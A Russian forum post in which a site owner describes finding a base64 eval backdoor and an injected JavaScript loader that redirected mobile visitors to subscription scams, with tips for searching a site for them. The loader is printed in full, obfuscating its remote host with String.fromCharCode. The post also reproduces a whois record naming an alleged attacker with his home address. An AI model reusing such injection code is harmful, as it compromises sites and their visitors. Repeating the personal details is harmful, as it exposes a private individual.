Мой вчерашний опыт борьбы с мобильным редиректом.

Может быть, кому-то будет полезным.

Итак, совершенно случайно, зайдя с мобильника (3g, мегафон) проверить работоспособность сайта обнаружил редирект на мобильные подписки.

Айболит ( www.revisium.com/ai/ ) ничего не нашел.

Был выполнен поиск по "base64_decode" и обнаружено следующее:

framework/son.class.php:eval(base64_decode($payload));

Название переменной показалось странным. Зашел в файл - так и есть, бэкдор.

Содержимое:

<?php

$payload='JGF1dGhfcGFzcy  ....закодированное содержимое поскипано....    iKTs=';

eval(base64_decode($payload));

?>

Последнюю строчку поправил таким образом:

echo ( eval(base64_decode($payload)) ); 

И выполнил скрипт. Получил миленький файловый менеджер по своему сайту.

Еще нашел такой же бэкдор с названием файла:

/ckfinder/core/ckfinder.php

Причину нашел. Дальше надо было искать сам редирект.

Тут пришлось повозиться чуть долше. По дате изменения ничего найти не удалось, так как злоумышленник ее подделал.

Пришлось руками перебирать все заюзанные в темлейте .js файлы на предмет необычного кода.

В итоге нашлось вот что:

var jquery_start = true;

document.write('<script type="text/javascript" src="//' + String.fromCharCode.apply(null, [99,111,117,110,116,101,114,46,121,97,100,114,111,46,105,109]) + '/урлмоегосайта"></script>');

var jquery_end = true;

Сие счастье подгружало код с адреса

counter.yadro.im/урлмоегосайта

И уже этот код редиректил мобильных юзеров на всякую гадость. Косят под счетчик я.метрики, гады.

Так что вот, если у кого возникнет похожая проблема, найти сам редирект может помочь поиск по fromCharCode.

Ну и в заключение. Страна должна знать своих героев. Whois инфа по yadro.im

Domain Name:        yadro.im

Domain Managers

Name: EPAG Domainservices GmbH

Address

Niebuhrstr. 16b

Bonn

53113

Germany

Domain Owners / Registrant

Name: Egor Gaityna

Address

ul.Selskai, 34

korenovsk

Krasnodarskiy kray

353180

Russian Federation

Administrative Contact

Name:  Egor Gaityna

Address

ul.Selskai, 34

korenovsk

Krasnodarskiy kray

353180

Russian Federation

Хорошая фамилия, гуглится легко.

Итак:

Хакер-сладкоежка, фигли :bl:

И вообще, богатая биография у человека:

workandjob.ru/38005840/2013/01/24/38005840.html

http://cy-pr.cn/206867-s.html

Другие сайты на этом же серваке: